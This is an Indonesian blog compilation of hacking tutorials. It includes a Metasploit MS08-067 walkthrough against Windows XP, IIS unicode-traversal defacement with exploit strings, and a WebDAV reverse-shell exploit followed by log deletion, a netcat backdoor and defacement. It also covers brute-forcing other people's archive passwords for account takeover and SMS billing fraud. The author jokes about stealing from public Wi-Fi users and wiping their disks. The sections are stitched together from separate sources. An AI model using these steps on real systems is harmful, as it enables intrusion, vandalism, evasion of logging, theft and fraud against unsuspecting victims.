kali ini saya akan memapaparkan tentang bagaimana cara kita menyusup ke komputer yang terinstall windows XP service pack 1 sampai dengan 3.. tetapi pasti teman teman menanyakan 2 pertanyaan kepada saya tentang:
1.> Keuntungan Apa yang di dapatkan dari menyusup ke komputer orang lain : *.> Pengetahuan yang baru yang bisa jadi berguna untuk anda *.> sebagai sarana perkerjaan baru...ya iaaalahh..gimana Coba klo kita berhasil menguasai jaringan di dalam suatu fasilitas umum ( wiffii gratisan, warkop ataupun Warnet )..wahhh bisa anda bayangkan kan... kita bisa mengambil chips orang dengan mudah dan menjualnya dengan senang hati..... karna AKUN ANDA ADA PADA KAMI ...hehehhehe ( tapi saya tidak begitu loh..hanya sekedar share )... eh satu hal lagi, anda bisa memformat hardisk Laptop pengguna wiffi dengan Mudah..huahuahua ( mulai mi muncul tanduknya kepalaku) hahahahahaha
2.> bagaimana caranya, ..hehehe AJAR DULUEE ...hehhe pasti begitu tooo... huahuahuahuahuahuahuahuahua.... so lanjut ke TKP ============================================ yang kita mesti sediakan adalah beberapa alat bantu , yang bisa anda dapatkan secara GRATIS... - OS BACKTRACK ( terserah Backtrack 3 Or 4 ) hehehehe (http://indobacktrack.or.id/2009/02/mirror-link-lokal-download-backtrack-4-iso/) - John the Ripper (http://www.openwall.com/john/) - pwdump6 ( http://www.foofus.net/fizzgig/pwdump/ ) - Trojan Buatan Sendiri atau keylogeer atau apalahhhh - kopi panas - pisang goreng atau roti bakar ( yang rasa keju lebih enak ) - ROKOK SAMPOERNA ^_^!!! huahuahua
Sudah lengkap..?! sekarang Kita mulai exploited memakai metasploit yang sudah include di backtrack Untuk lebih memahami tentang Xploited , silahkan kunjungi http://www.metasploit.com/, karna saya tidak akan membahas bahasan Perintah yang akan kita gunakan ( ededeh panjang sekali kiii )
Pertama kita masuk dulu ces ke konsole( itueee klo di windows namanya CMD ) , nah klo sudah terbuka, ketik : uing~BT#msfconsole
Untuk Melihat Lihat list exploits-nya , gunakan perintah : msf > show exploits windows/smb/ms05_039_pnp Microsoft Plug and Play Service Overflow windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow windows/smb/ms06_025_rras Microsoft RRAS Service Overflow windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow windows/smb/ms06_066_nwapi Microsoft Services MS06-066 nwapi32.dll windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
Wokehlah kalo begitu....sekarang kita Mulai menScan Komputer Target Kita...heehhehehheheh tapi untuk lebih menyakinkan saya melihat IP Kita,.huahuahua ternyata ip kita ni bagus Juga Yah : 192.168.1.20 :
msf > sudo nmap -v -sS -A -O 192.168.1.28 [*] exec: sudo nmap -v -sS -A -O 192.168.1.28 [sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2010-01-08 23:50 CIT Initiating ARP Ping Scan at 23:50 Scanning 192.168.1.28 [1 port] Host 192.168.1.28 appears to be up ... good. Interesting ports on 192.168.1.28: Not shown: 1712 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds <------ MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer) Device type: general purpose Running: Microsoft Windows XP OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3 Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OS: Windows Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka ( lihat Yang ada Tanda Panah <---- ). Mari kita coba masuk ke komputer ini dengan menggunakan : exploit windows/smb/ms08_067_netapi. msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >
Lihat opsi dari exploit ini dengan mengetikkan show options : msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting
Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :
msf exploit(ms08_067_netapi) > set rhost 192.168.1.28 rhost => 192.168.1.28
Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik : msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) -------- cut -----------
Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) : msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp payloads => windows/shell_bind_tcp
Untuk melihat payload apa saja dalam metasploit, gunakan perintah : msf exploit(ms08_067_netapi) > show payloads Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support) generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager ----------- dipotong sampai disini ---------------
Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options : msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.28 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.1.28 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting
Deface adalah kegiatan untuk mengganti ataupun merubah tampilan halaman depan sebuah situs. Tentu saja prosesnya dilakukan dengan memanfaatkan kelemahan dari situs tersebut, sehingga kalo loe adalah web master dan loe ngerubah tampilan halaman situs yang loe punya tentu saja itu nggak bisa disebut deface...heheheh. Banyak yang bertanya "gimana sich nge-deface situs?" seperti yang telah gue sebutin diatas proses deface dilakukan dengan memanfaatkan lubang (hole) yang terdapat pada server tempat situs itu berada. Sehingga hal pertama yang harus kamu ketah ui untuk melakukan proses deface adalah OS (Operating System) dari server situs tersebut. Hal ini karena karakteristik dari tiap OS yang berbeda-beda, contohnya antara IIS dengan BSD tentu saja sangat berbedaapabila kita ingin melakukan deface diantara kedua OS tsb. Operating System atau OS biasanya kalo gue sich gue kelompikin ke 2 keluarga besar,yaitu : 1. IIS (server untuk microsoft, dkk) 2. Unix(linux,BSD,IRIX,SOLARIS,dsb)
Nah kita kelompikin jadi 2 gitu aja yah..smile sekarang saya coba jelaskan satu-satu. Dikarenakan sudah banyak tutorial yang membahas mengenai kelemahan dari IIS (baik IIS 4 maupun 5) maka disini gue cumancopy-paste tutorial yang pernah dibuat oleh salah satu "maha guru" dalam komunitas #cracxer di DALNET, yah sapa lagi kalo bukan "pak-tani" (master..paLa loE lONjoNG..!!) heheheeh... ini dia tutorialnya :
*DEFACING NT WEB SERVER WITH BUG UNICODE MICROSOFT IIS~*~ -------------------------------------------------------------
Melalui tutor ini saya teh hanya ingin berbagi pengalaman mengenai cara men-deface website yang menggunakan Microsoft Internet Information Server atau Microsoft IIS. Harap DeFaceR (sebutan bagi org yg suka deface..;p) ketahui...Microsoft Internet Information Server atau MS IIS 4.0/5.0 memiliki suatu bug yang dinamakan "unicode bug". Sayah tidak akan menjelaskan panjang lebar mengenai "unicode bug" ini karena sayah takut salah menjelaskan (ssSSTTtHHH!! jgn bilang sapa2 yah sebenernyah sayah teh emang gak tau ...ehehehheehhe..;p~). Yang jelas dengan bug ini kita bisa mengeksplorasi komputer target dengan hanya menggunakan internet browser.
OK...mari kita mulai...Pertama kita cari site site target terlebih dahulu di search engine (google,yahoo,dll)...key nya terserah kowe.....Lalu utk mengetahui site itu menggunakan MS IIS 4.0/5.0...Kita scan terlebih dahulu di www.netcraft.com......dapat site yah..??...Okeh.. setelah kita mendapatkan site yg menggunakan MS IIS 4.0/5.0 ...Langkah selanjutnya utk mengetahui site tersebut belum di-patch bug unicode nya mari kita scan site tersebut di mirc (utk mengeteahui cara scan lewat mirc....coba koe buka http://www.jasakom.com/hacking.asp page 3 Scanning Exploit Unicode Dengan MIRC),bisa juga memakai sopwer yg bisa and DL di http://accessftp.topcities.com/.... or memakai cara manual yg lebih sering sayah gunakan ehehhehehhee...contoh:
Ada dua kemungkinan yang tampil pada browser Anda yaitu: Kahiji : Muncul pesan ERROR ... Kaduana : Muncul daftar file-file dari drive C pada komputer server target. Bila ini terjadi maka www.targethost.com tadi ada kemungkinan untuk bisa kita deface...
Mari kita perhatikan URL aneh bin ajaib diatas. Akan sayah bagi URL diatas menjadi empat bagian yaitu : • Bagian host, yaitu "http://www.targethost.com"; • Bagian exploit string, yaitu "/scripts/..%255c..%255c" • Bagian folder, yaitu "/winnt/system32/" • Bagian command, yaitu "cmd.exe?/c+dir+c:\"
Kita lihat pada bagian command diatas menunjukkan perintah "dir c:\" yang berarti melihat seluruh file-file yang berada pada root drive C. Koe bisa mencoba perintah yang lain seperti "dir d:\" atau yang lain. Ingat, Koe harus mengganti karakter spasi dengan tanda "+". Koe bahkan bisa menge tahui konfigurasi IP address komputer tujuan dengan mengetikkan perintah "ipconfig.exe /all"
Selain itu ada beberapa kemungkinan yaitu bisa saja URL diatas masih menampilkan error pada browser koe. Untuk itu koe ganti sajah bagian eksploit stringnyah, eksploit string yg sering tembus adalah : - /cgi-bin/..%255c..%255c - /msadc/..%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af.. - /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. - /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. - /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. - /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. - /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. - /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. - /scripts/..%255c..%255c
Jika semua pilihan eksploit string diatas masih memunculkan pesan error pada browser koe maka kemungkinan besar IIS pada web server sudah di-patch bug unicode nya (OR IE kowe yg lagie dodolss ...hiheiehiehiehei). Dan koe bisa memilih situs lain sebagai sasaran....(yg sabar yah nak nyari targetnyah...ehehhehehe).
Lanjuttt......udeh dapet site yg bug unicodenyah gak di patch..??....Langkah berikutnya adalah mengetahui di folder manakah diletakkan dokumen-dokumen web seperti default.htm/html/asp,, index.htm/html/asp,home.htm/html/asp,main.htm/html/asp,.ada juga yg pake .php/php3/shtml. Folder ini dinamakan web root. Biasanya web root berada di C:\InetPub\wwwroot\ atau D:\InetPub\wwwroot. Tapi terkadang web administrator menggantinya dengan yang lain. Untuk mengetahuinya koe cukup mengetikkan URL seperti di bawah ini
URL diatas akan menampilkan daftar environment variable dari web server sasaran. Kebuka..??... Nah tugas koe skrg adalah mencari PATH_TRANSLATED atau tulisan PATH_TRANSLATEDnyah...gak ada yahh ..??...coba deh koe ripresh lagehh...udah ketemuuu...nah skrg kita DIR deh tuh si PATH_TRANSLATED nyah.....Kita ambil contoh PATH_TRANSLATEDnyah : C:\InetPub\wwwroot....Perintahnya ng-DIR nyah :
Huaaaaaaa....isinyah banyak banged yahh.....mana dokumen2 web yg kita curigain itu ada 3 bijih lagehh....hemm santeyy...oiyahh...lupa sayah...Tugas kita setelah ng-DIR PATH_TRANSLATEDnyah..... truss kita cari dokumen web itu disitu utk kita RENAME....gemana kalo misalnyah dokumen2 web yg kita curigain itu ada 3..santeyy...coba skrg koe buka site aslinyah di laen window.... http://www.targethost.com == neh yg ini......di situ kan alias di http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\InetPub\wwwroot dokumen2 web nyah ada 3 macem pasti kita bingung yg mana neh yg mo di RENAME....misalnya : di
http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\InetPub\wwwroot itu ada : Directory of C:\InetPub\wwwroot 07/20/01 03:21p 1,590 default.htm 07/20/01 03:21p 590 index.html 07/20/01 03:21p 3,453 main.html
Udah di buka kan site aslinyah...nah coba masukin salah satu dokumen web itu di site asli nyah... contoh : http://www.targethost.com/default.htm kita liad hasilnya apa kah sama gambarnya (halaman depannya) setelah kita masukin dokumen web tadee.waww ternyata tidak sama hemm.coba masukin lageh salah satu dokumen web itu site aslinyah.mMmm..kita masukin yg main.html.waww waww..ternyata sama gambarnyahh.Nah skrg kita RENAME deh yg main.html ituu. perintahnya :
CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are: Access is denied
Yahhhh..akses dineyy.hiekksss jgn nyerah bro` kita carih lageh targetnyah okeHh !!!Dapat targetnyah..??udah di RENAME nyah??.Hasilnya setelah di RENAME seperti di bawah ini bukan??
CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are :
Kalo iyahh.waaa selamat anda telah merubah or berhasil men-deface halaman depan web site tersebut.kalo gak caya buka ajah site aslinyah pasti ERROR kann ehehhehehhee (Jgn lupa kita simpan C:\InetPub\wwwroot\main.html *file yg kita rename tadi di notepad utk langkah selanjutnyah*)
Sekarang koe tugasnyah meng-upload file koe ke site tadee Ada dua cara my bro` Pertama lewat ECHO.. Kedua lewat TFTP32.
Cara pertama : Utk meng-upload file lewat echo sebelumnyah kita harus mengcopy file cmd.exe pada direktori C:\winnt\system32 ke suatu folder lain atau folder yang sama dengan nama lain, misalnya cmdku.exe . Untuk meng-copy cmd.exe menjadi cmdku.exe pada folder winnt\system32 maka cukup ketik URL berikut :
Mungkin teman2 pernah suatu kali menemukan file ZIP / RAR / PDF yg tdk bisa dibuka, lantaran dibutuhkan password utk membukanya. Mungkin di warnet, komputer kampus yg di-share, ato juga komputer temen yg mau di-oprek2..hehe. Pastinya pemilik file tsb menganggap filenya sangat penting & rahasia. Nah, buat yg kena penyakit “penasaran-abis-sampe-ga-bisa-tidur-semalaman” ya bolehlah kita selidiki sedikit apa isinya file itu. Asal dgn niat baik (lho?) dan tidak bermaksud lebih, hanya kita gunakan utk kepentingan pribadi saja.. Ok, singkatnya kita pake sebuah tools, lebih tepatnya 3 tools, karna buat menjebol ZIP, RAR & PDF butuh software yg berbeda. Kalo tdk ada file buat dijebol, bikin saja dulu sebuah filenya yg ber-password buat latihan.. Menjebol password ZIP Utk menjebol file ZIP, pake ZIP Password Finder, ukurannya sangat kecil, 483 kb (sebelum diekstrak) bisa didownload dari sini i (Freeware)
* Ekstrak file tadi, lalu install. * Jalankan program, lalu pilih Open dan pilih file ZIP yg terkunci. * Setelah terpilih, pd opsi Char Type Property, saran saya pilih saja dulu Alpha (lower)(a-z), utk mencari hanya karakter lowercase, karna password jarang sekali yg terdapat karakter uppercase. Setelah itu Max Password Length cukup 6 atau 7 saja dulu. Kalau sudah klik Start. Utk menampilkan proses pencarian password, bisa klik tombol Display On. * Prosesnya mungkin memakan waktu agak lama, silahkan tunggu saja. * Setelah password tertebak, silakan dicoba mengekstrak file yg terkunci tadi & masukan passwordnya. Kalo password benar, maka kt akan berhasil mengekstrak file tsb!!
* Ekstrak, lalu install * Sama seperti yg tadi, Open file RARnya * Lalu pd opsi Allowed Character pilih saja All Printable Symbol. Lalu Type of Attack pilih Brute Force (utk mencoba segala kemungkinan). Lalu utk Password Length: Minimal Length 3 & Maximal Length 6 ato 7. * Terakhir, utk opsi Start from sebaiknya ketik abc. Klik Start. * Tunggu prosesnya, lalu akan didapatkan password RARnya
Menjebol password PDF Intinya sih sama saja dgn kedua cara di atas, tp utk menjebol file PDF kita memakai Advanced PDF Password Recovery, silakan download disini ———————————————— Satu tambahan lagi, kalo file tsb milik orang yg kita sdh tau pasti, ada keuntungannya juga. Biasanya orang membuat password yg tdk jauh berbeda di tiap accountnya, misalnya di facebook, friendster, dan jg mungkin di file ZIP / RAR nya. Dengan mengetahui username ato emailnya, kita bisa mencoba login sambil mencoba password yg kita temukan tsb. Tapi ini sebetulnya tidak baik kan, jadi pikir 2x sebelum dilakukan..hehe..
dari sumber:http://pc-alert.blogspot.com/2009/10/hack-menjebol-password-rar-zip-pdf.html
SISTEM GSM yang menggunakan teknik switching dengan memanfaatkan system base station memungkinkan kita bisa mengirim pesan alphanumeric singkat dari sebuah Handphone ke handphone lain yang nota bene mengirimkan suatu data terenscript yang dapat diditeksi oleh pesawat/nomor tujuan. dalam hal ini hampir semua fasilitas yang dikembangkan GSM tidak memiliki perbedaan yang sangat rumit, bahkan malah bisa dibilang HAMPIR SAMA. cuma sekarang dari SATELINDO telah melakukan patching pada sistem transfer smsnya .
Bug sms gratis TELKOMSEL kali ini menggunakan trik yang menyerupai BUG SATELINDO yang lama yaitu 10 nomer code kartu nomor seri produk TELKOMSEL diantaranya ; seri 226****** yang mempunyai arti +6281226***** (nomor jakarta) kode kartu yang bug 260**** s/d 269**** dengan head 0812- yang berarti kita bisa ngirim sms gratis ke nomor SIMPATI dengan seri 081226***** :-) note 1: kode * diatas merupakan sembarang nomor (atau semua nomor seri kartu simpati yang aktive) note 2: hanya dapat dilakukan dengan simcard telkomsel
cara sebagai berikut:
1. ketik SMS 2. kirim kenomor yang dituju ( misal: +6281226378** ) (yang saya dapatkan yaitu bug terlkomsel simcard versi 2260**** s/d 2269**** <- diambil dari kode kartu dan nomor awal dari kartu mentari tersebut) 10 CODE = 2260,2261,2262,2263,2264,2265,2266,2267,2268,2269 3. cara tulis nomor yang dituju menjadi 226378** (coba dgn nomor lain bila perlu) 4. tidak menggunakan karakter apapun yang ditambah pada nomor tujuan (karakter bintang hanya untuk menutupi nomor asli yang dituju. 4. dapat kita liat bahwa sms kita terkirim. 5. finish
Dari sana kita bisa lakukan dengan sepuas hati. referensi sumber:http://pc-alert.blogspot.com/2009/11/hack-10-bug-code-telkomsel.html
Sebenernya ini dah lama..Tp bug ini berbeda dng yang dl dulu make kode 999908xx kali ini pun ga beda jauh tinggal masukan kode 99991900>di ikuti no hp. Contoh:> 99991900085645xxxxx lalu send.. Buat kode +62 diganti 0 Gw dah make beberapa minggu ini dan berhasil.. Dah temen sekampung gw make semua itu & berhasil. Apabila terjadi kegagalan laporan pengiriman sebaik nya diulangi ampe 4x.. Apabila laporan mengunggu al hasil itu terkirim.. Belum tentu semua daerah bs melakukan ini.. Tp baiknya patut dicoba dolo.. Trik ini udah dicopas di forum2 tetangga..
ini adalah cara pertama HACK yang pertama : Pingin punya sms unlimited dengan nomor sendiri.
Langkah 1: Tentu saja ucapkan Bismilahirohmanirohim (Penting loh meningkatkan persentase keberhasilan )
Langkah 2: Duduk manis di depan computer anda!beli cemilan dan coffe klo yg ngerokok ya sekalian siapin rokok!…
Langkah 3: Buka lah http://www.m3-access.com
Pingin punya sms unlimited dengan nomor sendiri.
Langkah 1: Tentu saja ucapkan Bismilahirohmanirohim (Penting loh meningkatkan persentase keberhasilan )
Langkah 2: Duduk manis di depan computer anda!beli cemilan dan coffe klo yg ngerokok ya sekalian siapin rokok!…
Langkah 3: Buka lah http://www.m3-access.com
Langkah 4: Masuk form registration Bagi yg sudah daftar jgn bawel ye…ini buat yg belom daftar!…
Langkah 5: Bingung???? Apakah cara ini hanya untuk penguna Im3?? Oh tentu tidak kan ada combantrin…eh maksud saya cara lain hehehehe…
Langkah 6: Save page registration tersebut ke mana saja ( klo saya recommended ke desktop aja biar enak)
Langkah 7: Open page yg sudah di save tadi dengan ( open with notepad )
Langkah 8: Saat nya edit meng edit… Coba temukan Tulisan , seperti gambar di bawah ini ( yg saya lingkari )
Udah ketemu???? Bagusssssssssss…….
Lalu lanjutkan dengan menambahin/mengedit form tersebut seperti gambar di bawah ini
Lihat gambar di bawah ini…
Lalu boleh anda save dan coba lihat page editan tersebut Klo anda bener nyettingnya Pasti gambar nya kek gini
Langkah 9: Saatnya mengubah action dr page editan tadi! Oke buka lage page editan yg sudah anda save! Jgn lupa open with notepad ye…
Langsung aja edit nga pake lama…
Langkah 10:
Buka http://m3-access.com/account/register.php dan copy keycode dengan cara ,copy image location seperti gambar di bawah ini
Lalu buka/Kembali ke page yg di buka dengan notepad… Dan temukan script seperti gambar di bawah ini!
Dan ubahlah yg saya tulisan yg saya lingkari dengan cara Paste Seperti gambar di bawah ini! Lalu save dan jalankan page yg sudah di edit tadi dengan browser apa saja! Mau mozila kek mau IE mau apa kek terserah!… Lalu akan muncul form registration yg telah kita edit tadi!dan ikuti saja langkah langkah selanjutnya!
ANDA berhasil jika setelah submit QUERY anda mendapatkan pesan bertuliskan…
PASSKEY akan dikirim dalam waktu paling lama 2 x 24 jam Congratulations anda bisa ikuti langkah2 selanjutnya dan segera ke form sms untuk sms sepuasnya!…
Jika anda tidak mendapatkan pesan tersebut!berarti anda gagal…
Semoga Berguna…
>> Scripts nya ada di Source code / Scripts… tau masih bisa apa tidak!!:) referensi :http://pc-alert.blogspot.com/2009/11/hack-im3-cara-1.html
Pertama-tama sebelum melakukan, biar saya jelaskan kepada anda bahwa hacking atau deface menggunakan suatu exploit yang sudah ada di internet hanya akan menjadikan anda seorang lamer atau perusak. Anda seringkali mendapati orang-orang ini melakukan deface terhadap ratusan situs. Nah, mereka ini bukanlah hacker, melainkan script kiddies, karena mereka menggunakan code yang dibuat orang lain untuk mendeface situs. Hacker yang sejati adalah orang yang menciptakan code exploit dalam ‘0 day’. Dan saya sarankan kepada anda agar JANGAN PERNAH MENJADI SCRIPT KIDDIES untuk memperoleh sedikit ketenaran dan merasa bangga dengan hal tersebut!!!
2) Adanya Celah Keamanan
Ok cukup sudah !! Mari dimulai. Pertamakali tujuan kita untuk melakukan penetrasi adalah menemukan suatu hole. Webserver IIS berisikan banyak celah keamanan yang jika dieksploitasi dengan sesuai dapat memberikan seorang hacker kendali penuh atas sistem tersebut. Celah keamanan yang umum adalah buffer overflow, yakni mengeksploitasi format string. Apakah “Buffer Overflow” itu adalah soal yang lain dan memerlukan artikel tersendiri. Atau lebih baik silakan anda baca terbitan Phrack 49 (www.phrack.com) dengan judul “Smashing The Stack For Fun and Profit”. Disana istilah buffer overflow dijelaskan berdasarkan sudut pandang Linux.
Ok, karena webserver IIS menyimpan banyak celah keamanan eksploitasi buffer overflow. Hanya dalam 2 tahun terakhir ini e-eye digital defence team (http://www.eeye.com/) melaporkan adanya buffer overflow pada seluruh ekstensi ISAPI pada IIS Webserver.
Sebagai contoh suatu request http://www.iissite.com/a.idq?aaaaaaaaaaaaaaaaaa….aaaa
Sekarang, kapanpun webserver iis mendapatkan request berupa file seperti .idq atau .asp dsb selain .html request dipenuhi oleh file .dll yang spesifik pada webserver. Namun jika seorang hacker mengirimkan request berupa string panjang dari aaa dan mencari angka yang tepat dimana suatu buffer overflow terjadi, maka dia dapat menyesuaikan shell code ditempat tersebut dan menyebabkan shell codenya dieksekusi pada remote machine.
Catatan: Suatu shell code merupakan kode assembly yang memberikan command prompt pada Win 2000 dan shell jika pada Linux.
Tapi saat pertanyaan diajukan mengenai hacking website, kita memerlukan penemuan bug sebelumnya. Kaerna kebanyakan server yang dipatch untuk bug yang ditemukan sebelumnya. Pada dasarnya bug .idq ditemukan dua tahun terakhir tidak akan bekerja hari ini karena kebanyakan server Win 2000 telah dipatch dengan service pack sp3, sp4. Jadi saat ini yang kita perlukan adalah bug terakhir atau dalam dunia perhackingan dinamakan dengan “0day exploit”. Tempat terbaik untuk mencari exploit adalah www.packetstormsecurity.nl, situs ini secara konsisten memuat exploit, code, advisory yang terbaru. Tempat lainnya seperti www.k-otic.com/exploit atau cara terbaik adalah mencari dibagian 0day exploit pada situs kami www.hackersprogrammers.com. Sekarang ini sangat banyak 0day yang sengaja tidak pernah dipublikasikan!!! Dan hanya ditujukan untuk komunitas underground atau orang-orang tertentu yang dikenal sebagai hacker. Untuk mendapatkan exploit yang baik, anda perlu mengadakan kontak dengan hacker yang baik dan berbakat di internet. Dan pilihan terbaik adalah code yang anda buat sendiri (jika anda mampu) maka dengan ini anda mampu menghack berbagai webserver IIS di seluruh dunia!!! J
3) Mengeksploitasi celah keamanan dan Mengendalikan webserver
Ini bagian yang paling menarik. Compile code exploit anda dengan Visual C++ jika berupa kode win c atau gunakan gcc jika berupa kode linux. Jika anda tidak mengetahui hal ini, lebih baik mendownload exploit berbasis GUI dari internet (ini semakin menunjukkan bahwa anda seorang lamer). OK, sekarang sebagai contoh exploit webdave ntdll.dll yang ditemukan 3-4 bulan terakhir. Masih banyaknya server yang vulnerable untuk ini. Terakhir saat salya menuliskan artikel ini ditemukan bug terbaru berupa RPC DCOM oleh LSD. Namun bug RPC DCOM tidak akan bekerja dalam kasus ini karena firewall pada server akan memblok seluruh packet terhadap port 135. Setelah anda melihat-lihat webdave exploit, downloadlah exploit Kralor Webdave. Compile dan download exploit kralor yang berbasis GUI. Shellcode ini berupa jenis yang spesifik. Shellcode yang digunakan exploit Kralor memberikan suatu reverse shell. Artinya setelah berhasil mengeksploitasi server tersebut akan terhubung ke computer anda melalui suatu command shell!!! Jadi anda memerlukan netcat listener untuk ‘mendengar’ port spesifik pada computer anda. Download tool netcat dari internet dan masuk ke DOS prompt, ketik sebagai berikut:
D:\nc>nc -Lvp 6666
Listening on [any] 6666 ….
Well, sekarang computer beraksi sebagai suatu server di port 6666 dan listening terhadap berbagai incoming request. Sekarang compile exploit kralor atau gunakan yang berbasis GUI, kemudian masuk ke DOS prompt dan ketik.
D:\vcproject\webdave\debug>web.exe
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer
syntax: D:\WEB.EXE [padding]
Cool !!! Jadi apa yang harus anda lakukan? Masih bingung? OK, saya sarankan, jika anda ingin menghack suatu server, carilah ip dengan melakukan ping dari DOS. Misalkan ip 123.123.123.123 dan ip kita 200.200.200.200. Pastikan netcat menjalankan beberapa port seperti 6666 dan ketik perintah pada Dos Prompt yang baru:
Terdapat padding bit yang berbeda. Dalam kasus exploit berbasis GUI dapat melakukannya sendiri, atau membaca kometar dalam exploit tersebut untuk mendapatkan suatu ide mengenai apa padding bit tersebut dan bagaimana cara menggunakannya. Setelah berhasil mengeksploitasi anda akan mendapatkan shell pada netcat listener anda.
D:\nc>nc -Lvp 6666
Listening on [any] 6666 ….
connect to 200.200.200.200 from 123.123.123.123
Microsoft(R) Windows 2000
(C)Copyright Microsoft Corp 1981-2000.
C:\winnt\system32>
Selamat!! Jadi anda berhasil mengeksploitasi bug ntdll.dll pada remote server. Command prompt telah kita dapatkan pada netcat listener yang merupakan command prompt pada remote server.
4) Apa yang harus dilakuklansetelah melakukan hacking suatu server?
Pertama kali yang terpenting yang harus dilakukan setelah melakukan hacking berbagai server di dunia internet adalah menghapus log tersebut. Setelah kita memiliki HTTP Port 80 untuk menghack, kita perlu menghapus log IIS. Direktorinya dalam hal ini ada di C:\winnt\system32\logfiles . Jadi pada shell tersebut anda tinggal mengetik.
C:\winnt\system32> rmdir /s /q logfiles
Yang menghapus direktori log file, file dan folder yang terdapat dalam direktori tersebut.
Catatan: Ini merupakan cara yang buruk dalam menghapus file log. Admin dapat langsung mengetahui bahwa seseorang telah menghacking servernya. Cara lain yang terbaik adalah masuk kedalam direktori logfile dan cari file log yang spesifik dan menghapus hanya pada baris ayng berisikan ip anda.
Sekarang, setelah megnhapus log file. Anda dapat bermain-main dengan server tersebut. Seluruh server berada dalam kendali anda. Hal terbaik adalah menginstall suatu backdoor pada server tersebut. Membua backdoor senfiri atau sebagai gantinya mengupload netcat apda server tersebut dan menjadinnya listen pada beberapa port yang spesifik dan anda juga dapat menambahkan entri dalam registri jadi dapat tetap dalam keadaan listening bahkan setelah server tersebut direstart.
Langkah berikutnya, misalkan anda ingin mendeface situs tersebut, maka carilah direktori webrootnya. Direktori default biasanya adalah C:\inetpub\wwwroot, disana anda akan menemukan file seperti index.html, index.asp, default.html dan file-file lain seperti itu. Jika ada, maka anda sudah berada pada direktori yang dimaksud. Sekarang tinggal membackup file index.html nya. Perintahnya adalah sebagai berikut:
C:\inetpub\wwwroot> copy index.html indexold.html
C:\inetpub\wwwroot> echo defaced by Chintan Trivedi > index.html
Wah !! Akhirnya anda berhasil mendeface situs tersebut. Jika anda ingin mengupload file anda sendiri ke server tersebut, maka anda harus memiliki TFTP server pada sistem anda. Jalankan dan ketik ketik perintah remote shell berikut:
C:\inetpub\wwwroot> tftp 200.200.200.200 GET index.html
Perintah ini akan mengupload file index.html anda ke web server. Oh ya, contoh diatas dengan anggapan 200.200.200.200 menjadi ip anda. Dan ingatlah mengenai satu hal penting. Webdave exploit dapat menyebabkan crash pada server IIS. Jadi situs tidak akan terbuka dan anda tidak dapat melihat halaman yang terdeface L Jangan khawatir, ada cara untuk merestart IIS pada remote system tersebut, yaitu:
Tunggulah sebentar dan bukalah situs tersebut, misalnya www.target.com dan lihat halaman yang telah anda deface!!! Nah ini semua hanyalah satu contoh hacking webserver menggunakan webdave exploit. Terus memperbarui sesi 0day anda di www.hackersprogrammers.com dengan 0day exploit terbaru. Setiap exploit bekerja dengan caranya masing-masing. Anda dapat melihat penjelasan yang tersedia pada exploit tersebut jika anda bukan seorang script kiddie.
5) Kesimpulan
